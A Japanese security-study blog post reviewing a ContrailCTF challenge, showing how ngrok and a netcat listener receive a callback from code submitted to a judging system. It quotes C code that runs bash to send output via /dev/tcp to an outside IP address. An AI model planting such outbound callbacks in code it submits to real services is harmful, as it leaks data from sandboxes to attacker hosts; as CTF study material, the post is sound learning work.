セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける

//

あらまし

ContrailCTFにオンタイムで参加できず、writeupを見ながら復習していた時、ngrokなるサイトが紹介されていたのでメモがてら備忘録です。


NoWallForUs

という問題のwriteupに使われていました。シナリオとしては競プロサイトで、Cなど任意言語でhelloを出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら

www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrokを使っていました。

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL);
        return -1;
}

[引用元:https://www.ryotosaito.com/blog/?p=400]



自分のマシンで受け付ける

ngrokに登録して、必要なファイルをダウンロード。インストールを行います(省略) ngrok - secure introspectable tunnels to localhost

ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回osubuntuです。

$nc -l 1234


新しいタブを開いて、ngrokを起動し、ncで待ち受けているやつに紐付けます。

$./ngrok tcp 1234

コンソールが表示され接続先がわかります。 f:id:thinline196:20200105190045p:plain
あとはpingなどを飛ばしてipアドレスを特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。